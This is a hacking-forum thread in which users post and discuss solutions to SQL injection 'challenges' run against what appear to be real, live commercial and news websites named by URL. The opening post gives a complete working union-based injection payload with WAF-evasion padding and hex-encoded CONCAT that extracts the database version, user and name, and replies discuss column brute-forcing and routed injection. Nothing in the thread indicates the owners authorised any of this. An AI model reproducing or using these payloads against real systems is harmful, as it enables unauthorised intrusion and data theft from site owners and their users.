[pishicat_Injector]

Hi Everybody How Are You I Miss You So Much 😊

Solution to some of my challenge N4,N5,N6 👍

1- Challenge Number 4

[b]Challenge N4 :: Medium

Hi This Is My Number Four Challenge With You

# Target #

PHP Code


<?php 
https://pizzacrust.com.pk/deals.php?id=38 


### Task & Rules ###

1 Union Based && GET Method
2- Don't use in your query >>

A- BOF 256 + BOF 512 + BOF 1024 + BOF 2048
B- Use Concat To Get All Information In Rule Number 3

3 Your Name, Version, User, Database
4 Don't Make Any Tutorials
5 Don't Share Your Solution To Each Other
6 Don't Harm Site
7 Send Your Query
8 complete injection should be in the same column

# Proof #



# Solvers #

I use BOF 243 It's less valuable to be used at all

PHP Code


<?php 
pizzacrust.com.pk/deals.php?id=.38" UnION%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%0aDistinctRow select 1,2,Concat%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%0a(0x2e2e4e616d65203a3a2050697368696361745f496e6a6563746f72,0x3c62723e,0x2e2e56657273696f6e203a3a20,@@`version`,0x3c62723e,0x2e2e55736572203a3a20,current_user(),0x3c62723e,0x2e2e4461746162617365203a3a20,database(),0x3c62723e,0x3c62723e),4,5,6,7-- - 


Notic : there are many method here you can use without using BOF ever like



2- Challenge Number 5

Challenge N5 :: Easy

Hi this is my number Five challenge with you

# Target # Site Credit m4ma

PHP Code


<?php 
www.alphaonenow.org/story.php?news_id=5597 


### Task & Rules ###

1 Union Based && GET Method
1 Your Name, Version, User, Database, Dios
2 Don't Make Any Tutorials
3 Don't Share Your Solution To Each Other
4 Don't Harm Site
5 Send Your Query
6 complete injection should be in the same column
7 Don't Change Parameter/Inject point

# Proof #



# Solvers #

the column number is 4




3- Challenge Number 6



the solution



Regards

[linhtinh]

In Challenge number 5 ,why u can delete one column?Can u give me logic ?Thanks for share bro

[•^v^–[ bLacKn3x ]–^v^•]

this columns used in another query where you can inject.
also it's possible to injec7 with 4 columns ;)

regards

[pishicat_Injector]

In Challenge number 5 ,why u can delete one column?Can u give me logic ?Thanks for share bro

when you can't able to get Vuln column in page , there a million way to do that ,here I use way call ' Brute Forcing Columns ' I see it here in HF from a two month I think this method to bLacKn3x I don't remember, any way




so here in my solution I say delet one of column number

Regards

[•^v^–[ bLacKn3x ]–^v^•]

you did it with bof ?

lol i thought BOF is not allowed...

however you get a solution by me without bof to bypass waf

[pishicat_Injector]

you did it with bof ?

lol i thought BOF is not allowed...

however you get a solution by me without bof to bypass waf

yes you do my friend, here BOF is allowed under 256 🤫

[Berry White]

this columns used in another query where you can inject.
also it's possible to injec7 with 4 columns ;)

regards

I guess routed injection in column number 2 ? am i right brother?

[pishicat_Injector]

I guess routed injection in column number 2 ? am i right brother?

0

[scorpoin]

I do not understand this point(53,12) , what it is?

Regards
Scorpoin

[mohammad rahel]

yes i am able to injection

[pishicat_Injector]

I do not understand this point(53,12)  , what it is?

Regards
Scorpoin

read here

https://www.safaribooksonline.com/librar...06s03.html

[ApertureSecurity]

There is some kind of malware or miner on the site...